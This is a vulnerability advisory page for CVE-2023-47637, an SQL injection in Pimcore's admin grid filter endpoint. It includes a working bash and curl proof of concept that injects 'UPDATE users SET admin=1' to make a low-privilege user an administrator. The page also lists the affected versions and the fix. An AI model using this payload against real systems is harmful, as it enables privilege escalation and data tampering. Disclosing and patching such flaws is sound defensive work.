CVE-2023-47637: SQL Injection in Admin Grid Filter API in Pimcore

Published Nov 15, 2023
·
Updated

Summary

User input passed directly into an SQL statement allows (non-admin) backend users to execute arbitrary SQL statements.

Details

The /admin/object/grid-proxy endpoint calls getFilterCondition() on fields of classes to be filtered for at https://github.com/pimcore/admin-ui-classic-bundle/blob/bba7c7419cb1f06d5fd98781eab4d6995e4e5dca/src/Helper/GridHelperService.php#L311, passing input from the request, and later executes the returned SQL. One implementation of getFilterCondition() is in Multiselect, which does not normalize/escape/validate the passed value: https://github.com/pimcore/pimcore/blob/42b6cfa77c4540205bdd10689893ccb73e4bac8f/models/DataObject/ClassDefinition/Data/Multiselect.php#L285-L312

PoC

Set up an example project as described on https://pimcore.com/docs/platform/Pimcore/GettingStarted/Installation/DockerBasedInstallation (demo package with example content) Enter the backend and add a new user without admin privileges, but the "Objects" permission enabled. Log out and back in with the new user. Grab the X-pimcore-csrf-token header from any request the backend does, as well as the PHPSESSID cookie. Run the following script, substituting the values accordingly: bash #!/bin/bash BASEURL=http://localhost:8084 # REPLACE THIS! CSRFTOKEN="bd89fd7ceb3b541dd63c200fd4fc8c8ea3cc1a05" # REPLACE THIS! COOKIE="PHPSESSID=a0f408f9af7657430a4e6a1608c80277" # REPLACE THIS! SQL="UPDATE users SET admin=1" FILTERJSON="[{\"property\":\"tags\",\"operator\":\"=\",\"type\":\"list\",\"value\":[\"')); ${SQL}; --\"]}]" curl "${BASEURL}/admin/object/grid-proxy?classId=EV&folderId=1119" \ -X POST \ -H "X-pimcore-csrf-token: ${CSRFTOKEN}" \ -H "Cookie: ${COOKIE}" \ --data "filter=$FILTERJSON" Refresh the backend, the user is admin now.

Notes The above process also works with the initial admin user, but for demonstration purposes it is more interesting to use an unpriveleged one. Other important variables to adjust in the above script for other deployments are the classId=EV&folderId=1119 parameters, which must reference an existing class and folder, as well as "property":"tags", which points to a Multiselect field in this class.

Impact

Any backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level.

Patches Apply patch manually.

Workarounds Update to version 11.1.1 or apply this patch manually.

Other sources

Pimcore is an Open Source Data & Experience Management Platform. In affected versions the /admin/object/grid-proxy endpoint calls getFilterCondition() on fields of classes to be filtered for, passing input from the request, and later executes the returned SQL. One implementation of getFilterCondition() is in Multiselect, which does not normalize/escape/validate the passed value. Any backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level. This vulnerability has been addressed in version 11.1.1. Users are advised to upgrade. There are no known workarounds for this vulnerability.

— MITRE

Affected Software

2 affected componentsFixes available
composer/pimcore/pimcore<11.1.1
11.1.1
Pimcore pimcore<11.1.1

Event History

Nov 15, 2023
Advisory Published
02:53 PM
CVE Published
via MITRE·07:13 PM
Data Sourced
via MITRE·07:13 PM
DescriptionSeverityWeakness

Frequently Asked Questions

1

What is the vulnerability ID?

The vulnerability ID is CVE-2023-47637.

2

What is the severity of CVE-2023-47637?

The severity of CVE-2023-47637 is high with a CVSS score of 8.8.

3

How does the SQL Injection vulnerability in Admin Grid Filter API in Pimcore work?

The SQL Injection vulnerability in Admin Grid Filter API in Pimcore allows non-admin backend users to execute arbitrary SQL statements by passing user input directly into an SQL statement.

4

What versions of Pimcore are affected by CVE-2023-47637?

Pimcore version up to and excluding 11.1.1 is affected by CVE-2023-47637.

5

How can I fix CVE-2023-47637?

To fix CVE-2023-47637, update Pimcore to version 11.1.1 or higher.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203